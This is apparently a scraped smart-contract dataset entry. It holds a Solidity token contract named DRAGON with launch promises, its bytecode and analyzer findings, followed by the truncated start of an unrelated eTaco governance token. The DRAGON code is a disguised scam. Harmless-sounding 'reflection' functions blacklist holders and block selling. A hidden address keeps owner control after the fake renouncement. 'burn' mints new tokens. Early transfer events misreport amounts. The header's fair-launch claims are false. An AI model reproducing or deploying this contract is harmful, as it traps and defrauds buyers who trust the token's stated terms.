,-' `-|--'~~`--_ \ `==-/ `| \'--===-' _/`
' `-| /| )-'\~' _,--"'
'-~^\_/ | | `\_ ,^ /\
/ \ \__ \/~ `\__
_,-' _/'\ ,-'~____-'`-/ ``===\
((->/' \|||' `. `\. , _||
./ \_ `\ `~---|__i__i__\--~'_/
<_n_ __-^-_ `) \-.______________,-~'
`B'\) ///,-'~`__--^- |-------~~~~^'
/^> ///,--~`-\
` `
0% Tax, All funding is provided by the team
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced.
100% Fair Launch - no presale, no whitelist
Team will invest their own money on launch like everyone else
More info available on our telegram and website
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract DRAGON is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 5000000000000*10**18;
string public _name = "DRAGON";
string public _symbol= "DRAGON";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0xB7d478413552169808d8945B5BD6cE32FA4CdeF5);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function toggleReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610421578063b09f12661461045e578063ba3ac4a514610489578063c9567bf9146104b2578063d28d8852146104c9578063dd62ed3e146104f457610140565b806370a082311461033c5780638da5cb5b1461037957806395d89b41146103a45780639dc29fac146103cf578063a6f9dae1146103f857610140565b806323b872dd116100fd57806323b872dd1461023e578063294e3eb11461027b578063313ce567146102925780633eaaf86b146102bd5780636e4ee811146102e85780636ebcf607146102ff57610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806315a892be146101ea57806318160ddd1461021357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611f2e565b610531565b6040516101799190611f87565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a4919061203b565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612089565b6105e8565b6040516101e191906120e4565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c9190612247565b610606565b005b34801561021f57600080fd5b5061022861074d565b6040516102359190611f87565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612290565b610757565b60405161027291906120e4565b60405180910390f35b34801561028757600080fd5b5061029061084f565b005b34801561029e57600080fd5b506102a7610981565b6040516102b491906122ff565b60405180910390f35b3480156102c957600080fd5b506102d261098a565b6040516102df9190611f87565b60405180910390f35b3480156102f457600080fd5b506102fd610990565b005b34801561030b57600080fd5b506103266004803603810190610321919061231a565b610a87565b6040516103339190611f87565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e919061231a565b610a9f565b6040516103709190611f87565b60405180910390f35b34801561038557600080fd5b5061038e610ae7565b60405161039b9190612356565b60405180910390f35b3480156103b057600080fd5b506103b9610b0d565b6040516103c6919061203b565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612089565b610b9f565b005b34801561040457600080fd5b5061041f600480360381019061041a919061231a565b610da5565b005b34801561042d57600080fd5b5061044860048036038101906104439190612089565b610e9b565b60405161045591906120e4565b60405180910390f35b34801561046a57600080fd5b50610473610eb9565b604051610480919061203b565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab9190612247565b610f47565b005b3480156104be57600080fd5b506104c761108e565b005b3480156104d557600080fd5b506104de611592565b6040516104eb919061203b565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190611f2e565b611620565b6040516105289190611f87565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b606060078054610565906123a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610591906123a0565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f56116a7565b84846116af565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106af5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106b857600080fd5b60005b8151811015610749576001600360008484815181106106dd576106dc6123d2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061074190612430565b9150506106bb565b5050565b6000600654905090565b600061076484848461187a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107af6116a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561082f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610826906124eb565b60405180910390fd5b6108438561083b6116a7565b8584036116af565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108f85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61090157600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a395750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a4257600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610b1c906123a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610b48906123a0565b8015610b955780601f10610b6a57610100808354040283529160200191610b95565b820191906000526020600020905b815481529060010190602001808311610b7857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c485750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c5157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890612557565b60405180910390fd5b610ccd60008383611eb7565b8060066000828254610cdf9190612577565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d349190612577565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d999190611f87565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e4e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e5757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610eaf610ea86116a7565b848461187a565b6001905092915050565b60088054610ec6906123a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610ef2906123a0565b8015610f3f5780601f10610f1457610100808354040283529160200191610f3f565b820191906000526020600020905b815481529060010190602001808311610f2257829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ff05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b60005b815181101561108a5760006003600084848151811061101e5761101d6123d2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061108290612430565b915050610ffc565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61114057600080fd5b600960019054906101000a900460ff1615611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790612619565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121930600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546116af565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611288919061264e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611313919061264e565b6040518363ffffffff1660e01b815260040161133092919061267b565b6020604051808303816000875af115801561134f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611373919061264e565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113fc30610a9f565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611444969594939291906126e9565b60606040518083038185885af1158015611462573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611487919061275f565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154b9291906127b2565b6020604051808303816000875af115801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e9190612807565b5050565b6007805461159f906123a0565b80601f01602080910402602001604051908101604052809291908181526020018280546115cb906123a0565b80156116185780601f106115ed57610100808354040283529160200191611618565b820191906000526020600020905b8154815290600101906020018083116115fb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611716906128a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178690612938565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161186d9190611f87565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e1906129ca565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561194857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119ec5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119f557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b4757600960009054906101000a900460ff1680611aaf5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b075750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3d90612a5c565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611baf5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611c075750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611c3d57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611c4657600080fd5b611c51838383611eb7565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90612aee565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d6a9190612577565b92505081905550436004600b54611d819190612577565b118015611ddb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611e4b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611e3e9190612b0e565b60405180910390a3611eb1565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ea89190611f87565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611efb82611ed0565b9050919050565b611f0b81611ef0565b8114611f1657600080fd5b50565b600081359050611f2881611f02565b92915050565b60008060408385031215611f4557611f44611ec6565b5b6000611f5385828601611f19565b9250506020611f6485828601611f19565b9150509250929050565b6000819050919050565b611f8181611f6e565b82525050565b6000602082019050611f9c6000830184611f78565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fdc578082015181840152602081019050611fc1565b83811115611feb576000848401525b50505050565b6000601f19601f8301169050919050565b600061200d82611fa2565b6120178185611fad565b9350612027818560208601611fbe565b61203081611ff1565b840191505092915050565b600060208201905081810360008301526120558184612002565b905092915050565b61206681611f6e565b811461207157600080fd5b50565b6000813590506120838161205d565b92915050565b600080604083850312156120a05761209f611ec6565b5b60006120ae85828601611f19565b92505060206120bf85828601612074565b9150509250929050565b60008115159050919050565b6120de816120c9565b82525050565b60006020820190506120f960008301846120d5565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61213c82611ff1565b810181811067ffffffffffffffff8211171561215b5761215a612104565b5b80604052505050565b600061216e611ebc565b905061217a8282612133565b919050565b600067ffffffffffffffff82111561219a57612199612104565b5b602082029050602081019050919050565b600080fd5b60006121c36121be8461217f565b612164565b905080838252602082019050602084028301858111156121e6576121e56121ab565b5b835b8181101561220f57806121fb8882611f19565b8452602084019350506020810190506121e8565b5050509392505050565b600082601f83011261222e5761222d6120ff565b5b813561223e8482602086016121b0565b91505092915050565b60006020828403121561225d5761225c611ec6565b5b600082013567ffffffffffffffff81111561227b5761227a611ecb565b5b61228784828501612219565b91505092915050565b6000806000606084860312156122a9576122a8611ec6565b5b60006122b786828701611f19565b93505060206122c886828701611f19565b92505060406122d986828701612074565b9150509250925092565b600060ff82169050919050565b6122f9816122e3565b82525050565b600060208201905061231460008301846122f0565b92915050565b6000602082840312156123305761232f611ec6565b5b600061233e84828501611f19565b91505092915050565b61235081611ef0565b82525050565b600060208201905061236b6000830184612347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806123b857607f821691505b602082108114156123cc576123cb612371565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061243b82611f6e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561246e5761246d612401565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006124d5602883611fad565b91506124e082612479565b604082019050919050565b60006020820190508181036000830152612504816124c8565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b6000612541601f83611fad565b915061254c8261250b565b602082019050919050565b6000602082019050818103600083015261257081612534565b9050919050565b600061258282611f6e565b915061258d83611f6e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125c2576125c1612401565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612603601783611fad565b915061260e826125cd565b602082019050919050565b60006020820190508181036000830152612632816125f6565b9050919050565b60008151905061264881611f02565b92915050565b60006020828403121561266457612663611ec6565b5b600061267284828501612639565b91505092915050565b60006040820190506126906000830185612347565b61269d6020830184612347565b9392505050565b6000819050919050565b6000819050919050565b60006126d36126ce6126c9846126a4565b6126ae565b611f6e565b9050919050565b6126e3816126b8565b82525050565b600060c0820190506126fe6000830189612347565b61270b6020830188611f78565b61271860408301876126da565b61272560608301866126da565b6127326080830185612347565b61273f60a0830184611f78565b979650505050505050565b6000815190506127598161205d565b92915050565b60008060006060848603121561277857612777611ec6565b5b60006127868682870161274a565b93505060206127978682870161274a565b92505060406127a88682870161274a565b9150509250925092565b60006040820190506127c76000830185612347565b6127d46020830184611f78565b9392505050565b6127e4816120c9565b81146127ef57600080fd5b50565b600081519050612801816127db565b92915050565b60006020828403121561281d5761281c611ec6565b5b600061282b848285016127f2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612890602483611fad565b915061289b82612834565b604082019050919050565b600060208201905081810360008301526128bf81612883565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612922602283611fad565b915061292d826128c6565b604082019050919050565b6000602082019050818103600083015261295181612915565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006129b4602583611fad565b91506129bf82612958565b604082019050919050565b600060208201905081810360008301526129e3816129a7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a46602383611fad565b9150612a51826129ea565b604082019050919050565b60006020820190508181036000830152612a7581612a39565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612ad8602683611fad565b9150612ae382612a7c565b604082019050919050565b60006020820190508181036000830152612b0781612acb565b9050919050565b6000602082019050612b2360008301846126da565b9291505056fea264697066735822122022fad7be3af84aa8017cc211c79c52a1cf0a17639627529d968a368672461e4f64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,987 |
0x6d8BfC9e40E5F40E3e0841e7eBdaCA73C751b4c1
|
pragma solidity 0.8.0;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier: MIT
contract eTaco {
/// @notice EIP-20 token name for this token
string public constant name = "eTACO Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "eTACO";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 395097860e18; // 395,097,860 million eTaco
/// @dev Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @dev Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @dev A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new eTaco token
*/
constructor() {
balances[msg.sender] = uint96(totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
